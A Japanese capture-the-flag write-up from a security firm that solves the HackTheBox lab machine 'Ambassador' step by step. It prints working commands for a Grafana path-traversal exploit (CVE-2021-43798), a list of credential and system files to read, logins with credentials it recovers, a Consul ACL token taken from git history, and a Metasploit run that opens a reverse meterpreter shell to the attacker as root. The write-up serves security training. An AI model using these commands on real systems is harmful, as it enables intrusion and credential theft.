株式会社Ninjastars
セキュリティエンジニア:ミナト
今回はHackTheBoxと呼ばれるプラットフォームにて、ペネトレーションテストやOffensive Securityを学ぶことができるCTF「Machines」のWriteupを書きたいと思います。
HackTheBoxとは、サイバーセキュリティトレーニングのためのオンラインプラットフォームであり、ペネトレーションテストだけでなくサイバーセキュリティに関する様々なスキルを身に付けることが可能です。
app.hackthebox.com
今回はペネトレーションテストについて学ぶために、「Machines」の中の1つである「Ambassador」のWriteupを書きます。
「Ambassador」は初心者~中級者向けのmachineであり、本記事にてペネトレーションテストを知らないエンジニアの方に、ペネトレーションテストのイメージをしていただければ幸いです。また、セキュリティエンジニアの方にとっても本記事より何か学ぶ点などがありましたらありがたい限りです。
*「Ambassador」は retired machine であり、ご自身で挑戦される際にはHackTheBoxのサブスクリプションに登録する必要があります。

環境
筆者の環境では Kali Linux を使用したため、本記事で使用しているツールが読者の方の環境にインストールされていない可能性がありますが、ご了承ください。
デフォルトで Kali Linux にインストールされていないツールも使用していますが、適宜皆様でインストールお願いいたします。
Writeup
では早速始めていきましょう。
まずはペネトレーションテスト(外部サーバーへの侵入)の大まかな流れを整理したいと思います。
- ポートスキャンを実行
- 開放された各ポートにて稼働するサービスの調査
- 各サービスの既知の脆弱性(CVE)を調査
- 各サービスのゼロデイの脆弱性を調査
- 発見した脆弱性をエクスプロイト
- 権限の低いユーザーのシェルを獲得(サーバーへの侵入)
- サーバー内部の脆弱性をエクスプロイトし、権限を昇格
こちらの流れはケースバイケースで変更になることもありますが、大きな流れとしては上記のようになります。
ポートスキャン
では、TCPのオープンポートを見ていきましょう。
今回は「RustScan」と呼ばれるポートスキャンツールを使用します。
*今回はUDPのポートスキャンを割愛しています。実際のCTFやペネトレーションテストではTCPだけでなくUDPのポートを確認することも大切です。
コマンドは下記の様になります。
┌──(kali㉿kali)-[~] └─$ rustscan -a 10.10.11.183 -b 300 -r 0-65535 -t 5000 -- -A
ポートスキャンの結果は下記の様になりました。
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 29dd8ed7171e8e3090873cc651007c75 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLYy5+VCwR+2NKWpIRhSVGI1nJQ5YeihevJqIYbfopEW03vZ9SgacRzs4coGfDbcYa+KPePbz2n+2zXytEPfzBzFysLXgTaUlDFcDqEsWP9pJ5UYFNfXqHCOyDRklsetFOBcxkgC8/IcHDJdJQTEr51KLF75ZXaEIcjZ+XuQWsOrU5DJPrAlCmG12OMjsnP4OfI4RpIjELuLCyVSItoin255/99SSM3koBheX0im9/V8IOpEye9Fc2LigyGA+97wwNSZG2G/duS6lE8pYz1unL+Vg2ogGDN85TkkrS3XdfDLI87AyFBGYniG8+SMtLQOd6tCZeymGK2BQe1k9oWoB7/J6NJ0dylAPAVZ1sDAU7KCUPNAex8q6bh0KrO/5zVbpwMB+qEq6SY6crjtfpYnd7+2DLwiYgcSiQxZMnY3ZkJiIf6s5FkJYmcf/oX1xm/TlP9qoxRKYqLtEJvAHEk/mK+na1Esc8yuPItSRaQzpCgyIwiZCdQlTwWBCVFJZqrXc= | 256 80a4c52e9ab1ecda276439a408973bef (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFgGRouCNEVCXufz6UDFKYkcd3Lmm6WoGKl840u6TuJ8+SKv77LDiJzsXlqcjdeHXA5O87Us7Npwydhw9NYXXYs= | 256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINujB7zPDP2GyNBT4Dt4hGiheNd9HOUMN/5Spa21Kg0W 80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET |_http-title: Ambassador Development Server |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-generator: Hugo 0.94.2 3000/tcp open ppp? syn-ack | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 302 Found | Cache-Control: no-cache | Content-Type: text/html; charset=utf-8 | Expires: -1 | Location: /login | Pragma: no-cache | Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Fri, 21 Apr 2023 01:52:48 GMT | Content-Length: 29 | href="/login">Found</a>. | GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 302 Found | Cache-Control: no-cache | Content-Type: text/html; charset=utf-8 | Expires: -1 | Location: /login | Pragma: no-cache | Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Fri, 21 Apr 2023 01:52:12 GMT | Content-Length: 29 | href="/login">Found</a>. | HTTPOptions: | HTTP/1.0 302 Found | Cache-Control: no-cache | Expires: -1 | Location: /login | Pragma: no-cache | Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Fri, 21 Apr 2023 01:52:19 GMT |_ Content-Length: 0 3306/tcp open mysql syn-ack MySQL 8.0.30-0ubuntu0.20.04.2 | mysql-info: | Protocol: 10 | Version: 8.0.30-0ubuntu0.20.04.2 | Thread ID: 11 | Capabilities flags: 65535 | Some Capabilities: SwitchToSSLAfterHandshake, DontAllowDatabaseTableColumn, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, Support41Auth, SupportsLoadDataLocal, FoundRows, ODBCClient, LongColumnFlag, Speaks41ProtocolNew, Speaks41ProtocolOld, SupportsCompression, ConnectWithDatabase, LongPassword, InteractiveClient, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: ;;]n'`F8O|GU+ &PR_*< |_ Auth Plugin Name: caching_sha2_password
Port22, 80, 3000, 3306の4つが開放されていることが判明しました。
ではそれぞれ確認していきましょう。
Port22
Port22ではお決まりのOpenSSHが稼働しています。
ことCTFにおいて、Port22に脆弱性が存在する可能性は極めて低いです。
Port22(SSH)にて取り急ぎ確認すべきことは大きく分けて下記の2つであると考えています。
- ユーザーネームとパスワードのブルートフォース攻撃
- SSHサーバー(今回であればOpenSSH)自体に存在する脆弱性への攻撃
今回はどちらの攻撃手法に対しても脆弱ではないため、次のポートに移りたいと思います。
SSHへの攻撃手法について詳しく知りたい方は、こちらの記事が参考になります。
book.hacktricks.xyz
Port80
では次にPort80を見ていきましょう。
ブラウザにてアクセスすると、「Ambassador Development Server」というブログが確認できます。

ブログの中身を見てみると特に重要な情報はなく、「developer」というユーザーがサーバー上に存在することだけが確認できます。

ポートスキャンの結果などから分かるように、Port80では「Hugo」と呼ばれる静的サイトジェネレーターが使用されています。
静的なWebサイトとなると、ユーザーがインプットする箇所がなく攻撃箇所がないと判断することが可能です。
*ユーザーがインプットできる箇所がないからといって、エクスプロイトできないとは限らないです。但しCTFにおいては、静的なWebサイトを起点としたサーバーへの侵入の確率はかなり低いと考えます。
ディレクトリブルートフォース
興味深いサブディレクトリが存在する可能性があるので、ブルートフォースしてみましょう。
「dirsearch」でサブディレクトリのブルートフォースを実行します。
┌──(kali㉿kali)-[~] └─$ dirsearch -u http://10.10.11.183/
結果は下記の様になりました。特に興味深いディレクトリは発見されませんでした。
Target: http://10.10.11.183/ [00:43:18] Starting: [00:43:27] 403 - 277B - /.htaccess.save [00:43:27] 403 - 277B - /.htaccess.sample [00:43:27] 403 - 277B - /.htaccessOLD [00:43:27] 403 - 277B - /.htaccess.bak1 [00:43:27] 403 - 277B - /.htaccess_sc [00:43:27] 403 - 277B - /.htaccessBAK [00:43:27] 403 - 277B - /.htaccess_orig [00:43:27] 403 - 277B - /.htaccessOLD2 [00:43:27] 403 - 277B - /.htaccess_extra [00:43:27] 403 - 277B - /.htaccess.orig [00:43:27] 403 - 277B - /.ht_wsr.txt [00:43:27] 403 - 277B - /.htpasswd_test [00:43:27] 403 - 277B - /.htpasswds [00:43:27] 403 - 277B - /.html [00:43:27] 403 - 277B - /.htm [00:43:27] 403 - 277B - /.httr-oauth [00:43:36] 200 - 2KB - /404.html [00:44:13] 301 - 317B - /categories -> http://10.10.11.183/categories/ [00:44:35] 200 - 993B - /images/ [00:44:35] 301 - 313B - /images -> http://10.10.11.183/images/ [00:44:36] 200 - 4KB - /index.html [00:44:37] 200 - 1KB - /index.xml [00:45:02] 301 - 312B - /posts -> http://10.10.11.183/posts/ [00:45:09] 403 - 277B - /server-status [00:45:09] 403 - 277B - /server-status/ [00:45:12] 200 - 645B - /sitemap.xml [00:45:17] 301 - 311B - /tags -> http://10.10.11.183/tags/
今回は以上でディレクトリのブルートフォースを終了しますが、実際のCTFやペネトレーションテストでは様々なワードリストを試行することをお勧めします。あるワードリストではヒットしなかったものが、別のワードリストであればヒットするというのは非常によくある話なのです。
このGitHubのレポジトリに様々なワードリストがあるので、良かったら覗いてみてください。
github.com
Port3000
では次にPort3000を見てみましょう。
Port3000は Well Known Port ではないですし、定番なポート番号でもないので netcat を使用して接続してみます。
┌──(kali㉿kali)-[~] └─$ nc 10.10.11.183 3000 -v ambassador.htb [10.10.11.183] 3000 (?) open hello HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close 400 Bad Request
上記コマンドで接続後、"hello"というデータを送信してみると、HTTPレスポンスが返ってきました。
ということで、ブラウザよりPort3000にアクセスしてみましょう。

どうやら「Grafana」と呼ばれるサービスが稼働しているようです。
上記画像を見ると、バージョン情報が記載されているのがわかります。
このバージョンのGrafanaに脆弱性が存在するか検索してみましょう。

すると、「Directory Traversal and Arbitrary File Read」ということで「ディレクトリトラバーサルと任意ファイルの読み取り」が可能であることが判明しました。
この脆弱性はCVE-2021-43798として登録されています。
nvd.nist.gov
エクスプロイトコードが公開されていますので、そのPoCを基に実際にエクスプロイトしてみましょう。
今回はエクスプロイトコードを「Exploit-DB」より取得しました。
少し余談ですが、今回のように公開から一定期間経過した脆弱性のエクスプロイトコードは、公になることが多々あります。
エクスプロイトコードはダークウェブでのみ流通していると思われる方もいらっしゃるかもしれませんが、誰でも簡単にエクスプロイトコードにアクセスが可能であるということを頭に入れておいていただければと思います。
話を戻して、ディレクトリトラバーサルをエクスプロイトしてシェルをとりましょう。
まず、先ほどのエクスプロイトコードを見てみます。
www.exploit-db.com
エクスプロイトコードに関する詳しい解説はここでは省略しますが、シンプルに下記のcurlコマンドでエクスプロイトすることが可能です。
┌──(kali㉿kali)-[~] └─$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/passwd
*プラグインの名前に関しては、今回は histogram を選択しました。他のプラグインでも本環境のGrafanaにインストールされていれば問題ありません。運が悪いと複数回のTrial and Errorになるかもしれません。
上記コマンドにて、ディレクトリトラバーサルが可能であることが確認できました。
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin sshd:x:112:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin developer:x:1000:1000:developer:/home/developer:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false grafana:x:113:118::/usr/share/grafana:/bin/false mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false consul:x:997:997::/home/consul:/bin/false
更に /etc/passwd の内容より、Port80で発見した「developer」というユーザーがサーバー上に存在することが確定しました。
では次にどのファイルの内容を読み取るべきかを考えましょう。
私がディレクトリトラバーサルやLFI(Local File Inclusion)に遭遇した際には、下記の様なファイルを確認します。
/etc/passwd /etc/shadow /etc/motd /home/<username>/.ssh/id_rsa /home/<username>/.bash_history /proc/self/environ /proc/sched_debug /var/www/logs/access_log /var/www/logs/access.log 稼働サービスのconfigファイル
上記ファイルは一例ですが、これらのファイルを順に閲覧して情報を収集します。
他にどのようなファイルをチェックすべきなのか気になる方は、下記リンクを参照してください。ここではWindowsサーバーにおけるセンシティブなファイルも記載されています。
sushant747.gitbooks.io
結論から言うと今回は、Grafanaのconfigファイルを読み取ることが正解でした。
では実際に確認してみましょう。
Grafanaのconfigファイルは /etc/grafana/grafana.ini なので、ディレクトリトラバーサルを利用して読み取ります。
*Grafanaのconfigファイルは、こちらのドキュメントより判明しました。
Configure Grafana | Grafana documentation
┌──(kali㉿kali)-[~] └─$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/grafana/grafana.ini
上記コマンドより、grafana.ini を読み取ることに成功しました。
そして、admin という文字列でgrepすることによって、ユーザーネームとパスワードを取得しました。
┌──(kali㉿kali)-[~] └─$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/grafana/grafana.ini | grep admin # default admin user, created on startup ;admin_user = admin # default admin password, can be changed before first start of grafana, or in profile settings admin_password = messageInABottle685427
では上記のクレデンシャル(admin:messageInABottle685427)にて、Grafanaにログインします。

ログインに成功しました。
Grafana内をいろいろと探索してみると、mysql.yaml と呼ばれる Data Source を発見しました。

mysql.yaml では、MySQLへのコネクションが定義されているようです。
MySQLのユーザーネームは grafana であることが確認できますが、パスワードが表示されていません。
GUI上でのパスワード変更を試みましたが、下記の様に書かれているため変更は不可能なようです。
This data source was added by config and cannot be modified using the UI. Please contact your server admin to update this data source.
ただ私たちには、ディレクトリトラバーサルという武器があるため、mysql.yaml を読み取ってみましょう。
mysql.yaml は /etc/grafana/provisioning/datasources/ ディレクトリに存在します。
*Grafanaの data source ディレクトリは、こちらのドキュメントより判明しました。
Provision Grafana | Grafana documentation
┌──(kali㉿kali)-[~] └─$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/grafana/provisioning/datasources/mysql.yaml datasources: - name: mysql.yaml type: mysql host: localhost database: grafana user: grafana password: dontStandSoCloseToMe63221! editable: false
ディレクトリトラバーサルにて、MySQLのクレデンシャルを取得することができました。
Port3306
では上記クレデンシャル(grafana:dontStandSoCloseToMe63221!)にて、MySQLにログインしましょう。
┌──(kali㉿kali)-[~] └─$ mysql -h 10.10.11.183 -u grafana -p'dontStandSoCloseToMe63221!'
どのようなデータベースがあるのか見てみます。
whackywidget と呼ばれるデータベースがあるので覗いてみます。
mysql> show databases; +--------------------+ | Database | +--------------------+ | grafana | | information_schema | | mysql | | performance_schema | | sys | | whackywidget | +--------------------+ 6 rows in set (0.10 sec)
mysql> show tables; +------------------------+ | Tables_in_whackywidget | +------------------------+ | users | +------------------------+ 1 row in set (0.08 sec)
users というテーブルがありました。
mysql> select * from users; +-----------+------------------------------------------+ | user | pass | +-----------+------------------------------------------+ | developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== | +-----------+------------------------------------------+ 1 row in set (0.09 sec)
やりました。ついに developer ユーザーのパスワードを取得しました。
上記パスワードはBase64でエンコードされているため、デコードしましょう。
┌──(kali㉿kali)-[~] └─$ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d anEnglishManInNewYork027468
無事にパスワードを取得しました。
サーバーへの侵入
取得したクレデンシャル(developer:anEnglishManInNewYork027468)にて、SSHログインします。
┌──(kali㉿kali)-[~] └─$ sshpass -p 'anEnglishManInNewYork027468' ssh developer@10.10.11.183

サーバーへの侵入に成功しました。
権限昇格
それでは権限昇格に移ります。
developer ユーザーはこのサーバーにおける最高権限を持っていません。
例えば /root ディレクトリに移動しようとすると、下記の様に Permission denied されます。
developer@ambassador:~$ cd /root
-bash: cd: /root: Permission denied
ではまず、root ユーザーへと権限を昇格するために、Linuxサーバー内の情報を収集しましょう。
私がまず権限昇格の情報を集めるために使用するツールが「LinPEAS」です。
github.com

上記画像の様に、様々な情報を色付けして出力してくれます。
今回は詳しくは触れませんが、LinPEAS は大量の情報を出力してくれるため、このツールだけで権限昇格の道が開けることも多々あります。
では私が実際に実行した権限昇格の方法をお伝えします。
/opt ディレクトリに移動して、何か興味深いソフトウェアがインストールされていないかを確認します。
developer@ambassador:/$ cd /opt developer@ambassador:/opt$ ls consul my-app
consul と my-app という2つのディレクトリがありました。
consul について検索してみると、「Consul」と呼ばれる、分散システムにおける様々な機能を提供するオープンソースのネットワークサービスソフトウェアであることが判明しました。
更に、「consul privilege escalation」で検索してみると、RCE(リモートコード実行)の脆弱性が存在する可能性があることが分かりました。
*本脆弱性の詳細について詳しく知りたい方は、ご自身で調査していただければと思います。本記事ではエクスプロイトする方法のみをお伝えします。
HashiCorp社の記事によると下記の3つの条件が満たされた場合、RCE(リモートコード実行)が可能になるそうです。
- The API is available on an interface that can be accessed over the network.
- Script checks are enabled.
- ACLs are disabled or an ACL token is compromised.
1つずつ確認しましょう。
The API is available on an interface that can be accessed over the network
まずはAPIにアクセスできるかどうかです。
公式ドキュメントによると、Port8500でHTTP APIにアクセスできるようです。
developer.hashicorp.com
まずはPort8500が開いているか確認してみましょう。
developer@ambassador:/opt/consul$ netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN tcp 0 208 10.10.11.183:22 10.10.14.17:49690 ESTABLISHED tcp 0 0 127.0.0.1:8300 127.0.0.1:46313 ESTABLISHED tcp 0 0 127.0.0.1:8300 127.0.0.1:49447 ESTABLISHED tcp 0 0 127.0.0.1:46313 127.0.0.1:8300 ESTABLISHED tcp 0 0 127.0.0.1:49447 127.0.0.1:8300 ESTABLISHED tcp 0 1 10.10.11.183:41320 8.8.8.8:53 SYN_SENT tcp6 0 0 :::80 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 :::3000 :::* LISTEN udp 0 0 127.0.0.1:8600 0.0.0.0:* udp 0 0 127.0.0.1:53129 127.0.0.53:53 ESTABLISHED udp 0 0 127.0.0.53:53 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp 0 0 127.0.0.1:8301 0.0.0.0:* udp 0 0 127.0.0.1:8302 0.0.0.0:*
Port8500が開いていることが分かりました。
ではSSHトンネルを実行して、curlでAPIを叩いてみます。
┌──(kali㉿kali)-[~] └─$ ssh -N -L 8500:localhost:8500 developer@10.10.11.183 ┌──(kali㉿kali)-[~] └─$ curl http://127.0.0.1:8500 Consul Agent: UI disabled. To enable, set ui_config.enabled=true in the agent configuration and restart.
これで Consul API にリクエスト可能であることが判明しました。
Script checks are enabled
では次の条件に移りましょう。
Script checks が有効になっているかどうかです。
Consulのconfigファイルを見てみましょう。
developer@ambassador:/opt/consul$ cat /etc/consul.d/consul.hcl | grep script #retry_join = ["provider=azure tag_name=... tag_value=... tenant_id=... client_id=... subscription_id=... secret_access_key=..."] enable_script_checks = true
enable_script_checks がtrueになっており、Script checks が有効になっていることが判明しました。
ACLs are disabled or an ACL token is compromised
最後の条件に移りましょう。
ACLsが無効になっている、またはACLトークンが漏洩しているかのどちらかです。
ACLs(Access Control Lists)が無効になっていないかをまず確認します。
先程と同様にconfigファイルより検索します。
developer@ambassador:~$ cat /etc/consul.d/consul.hcl | grep -A 5 acl acl { enabled = true default_policy = "deny" down_policy = "extend-cache" }
ACLsは有効になっているようです。
ではACLトークンを取得する方向に切り替えます。
/opt ディレクトリ内に存在した /my-app ディレクトリを覗いてみましょう。
developer@ambassador:/opt/my-app$ ls env whackywidget developer@ambassador:/opt/my-app$ cd whackywidget/ developer@ambassador:/opt/my-app/whackywidget$ ls manage.py put-config-in-consul.sh whackywidget developer@ambassador:/opt/my-app/whackywidget$ cat put-config-in-consul.sh # We use Consul for application config in production, this script will help set the correct values for the app # Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
いろいろと探索してみると、my-app ではConsulを使用しているようです。
更に、put-config-in-consul.sh の中身を見てみると、CONSUL_HTTP_TOKEN という環境変数が使用されています。
この環境変数がACLトークンと同一であることが公式ドキュメントに記載されています。
developer.hashicorp.com
/opt/my-app ディレクトリでlsコマンドを実行してみると、.gitディレクトリが存在することが判明しました。
developer@ambassador:/opt/my-app$ ls -la total 24 drwxrwxr-x 5 root root 4096 Mar 13 2022 . drwxr-xr-x 4 root root 4096 Sep 1 2022 .. drwxrwxr-x 4 root root 4096 Mar 13 2022 env drwxrwxr-x 8 root root 4096 Mar 14 2022 .git -rw-rw-r-- 1 root root 1838 Mar 13 2022 .gitignore drwxrwxr-x 3 root root 4096 Mar 13 2022 whackywidget
つまり、Gitレポジトリであることが分かります。
Gitレポジトリであれば、過去にハードコードされたACLキーを取得することができる可能性があります。
git show コマンドで確認してみましょう。
developer@ambassador:/opt/my-app$ git show commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main) Author: Developer <developer@ambassador.local> Date: Sun Mar 13 23:47:36 2022 +0000 tidy config script diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh index 35c08f6..fc51ec0 100755 --- a/whackywidget/put-config-in-consul.sh +++ b/whackywidget/put-config-in-consul.sh @@ -1,4 +1,4 @@ # We use Consul for application config in production, this script will help set the correct values for the app -# Export MYSQL_PASSWORD before running +# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running -consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD +consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
ビンゴです!ACLトークンが過去バージョンにてハードコードされていました。
これで全ての条件を満たしました。
では早速エクスプロイトしましょう。
方法は色々とありますが、今回は「Metasploit」を使用します。
Metasploitの説明をするととても長くなってしまうのですが、簡単に説明すると、オープンソースのペネトレーションテスト用プラットフォームです。様々な脆弱性に対するエクスプロイトコードが備わっており、ペネトレーションテスター御用達のツールです。
*とても便利なツールの一方、脆弱性について詳しく理解していない状態でもエクスプロイトが可能なため、学習目的の方は、Exploit-DBなどで公開されているエクスプロイトコードを読むことをお勧めします。
Metasploitでエクスプロイトする前に、前準備としてSSHトンネルを実行しておきます。(Metasploitは kali linux 側にあるので、SSHトンネルしておかないとエクスプロイトできません。)
┌──(kali㉿kali)-[~] └─$ ssh -N -L 8500:localhost:8500 developer@10.10.11.183
ではMetasploitでエクスプロイトを開始します。
まず起動しましょう。
┌──(kali㉿kali)-[~] └─$ msfconsole
そして該当の脆弱性を選択します。
msf6 > search consul Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/struts_dev_mode 2012-01-06 excellent Yes Apache Struts 2 Developer Mode OGNL Execution 1 exploit/multi/http/clipbucket_fileupload_exec 2018-03-03 excellent Yes ClipBucket beats_uploader Unauthenticated Arbitrary File Upload 2 auxiliary/scanner/misc/dahua_dvr_auth_bypass normal No Dahua DVR Auth Bypass Scanner 3 post/windows/manage/dell_memory_protect manual No Dell DBUtilDrv2.sys Memory Protection Modifier 4 exploit/linux/http/groundwork_monarch_cmd_exec 2013-03-08 excellent Yes GroundWork monarch_scan.cgi OS Command Injection 5 exploit/multi/misc/consul_rexec_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Rexec 6 exploit/multi/misc/consul_service_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Services API 7 exploit/windows/misc/ibm_director_cim_dllinject 2009-03-10 excellent Yes IBM System Director Agent DLL Injection 8 exploit/unix/webapp/joomla_media_upload_exec 2013-08-01 excellent Yes Joomla Media Manager File Upload Vulnerability 9 auxiliary/admin/http/limesurvey_file_download 2015-10-12 normal No Limesurvey Unauthenticated File Download 10 exploit/windows/local/cve_2020_0668_service_tracing 2020-02-11 excellent No Service Tracing Privilege Elevation Vulnerability 11 exploit/windows/browser/sonicwall_addrouteentry 2007-11-01 normal No SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow 12 auxiliary/admin/http/sophos_wpa_traversal 2013-04-03 normal No Sophos Web Protection Appliance patience.cgi Directory Traversal 13 exploit/windows/antivirus/symantec_endpoint_manager_rce 2014-02-24 excellent Yes Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution Interact with a module by name or index. For example info 13, use 13 or use exploit/windows/antivirus/symantec_endpoint_manager_rce msf6 > use 6 [*] Using configured payload linux/x86/meterpreter/reverse_tcp
そしてオプションを設定します。
msf6 exploit(multi/misc/consul_service_exec) > set ACL_TOKEN bb03b43b-1d81-d62b-24b5-39540ee469b5 ACL_TOKEN => bb03b43b-1d81-d62b-24b5-39540ee469b5 msf6 exploit(multi/misc/consul_service_exec) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 msf6 exploit(multi/misc/consul_service_exec) > set lhost 10.10.14.17 lhost => 10.10.14.17
準備が整ったのでいざ実行です。
msf6 exploit(multi/misc/consul_service_exec) > run [*] Started reverse TCP handler on 10.10.14.17:4444 [*] Creating service 'AMnCbzYWM' [*] Service 'AMnCbzYWM' successfully created. [*] Waiting for service 'AMnCbzYWM' script to trigger [*] Sending stage (1017704 bytes) to 10.10.11.183 [*] Meterpreter session 1 opened (10.10.14.17:4444 -> 10.10.11.183:32818) at 2023-04-26 03:34:21 -0400 [*] Removing service 'AMnCbzYWM' [*] Command Stager progress - 100.00% done (763/763 bytes) meterpreter > shell Process 2277 created. Channel 1 created. pwd / whoami root f60039f5429c4c9e9c9064650f5244da
rootユーザーになることができました。
これにて「Ambassador」の攻略が終了しました。お疲れ様です!
まとめ
いかがだったでしょうか。
説明を省略した箇所も多々ありますが、ペネトレーションテスト(外部サーバーへの侵入)の流れや面白さについて知っていただければ幸いです。
ペネトレーションテストのCTFでは、Webアプリケーションの脆弱性からLinux内部の脆弱性まで様々な知識を学ぶことが可能なため、私個人としてはサイバーセキュリティを学ぶにあたって、とてもおすすめの学習方法であると考えています。(何と言ってもシェルをとれた時の嬉しさがやみつきになります。)
ペネトレーションテストやアプリケーション診断などをご希望の方は、ぜひ一度弊社にお問い合わせください!
ninjastars.ninja
注意事項
本記事に記載されている内容を許可されていないサーバーに対して実行すると、犯罪行為となる可能性があります。そのため、記事の内容を試す際には許可されたサーバーに対してのみ実施するようにしてください。
本レポートについて
お問い合せ
E-mail: engineer@ninjastars-net.com
株式会社Ninjastars セキュリティエンジニア
ミナト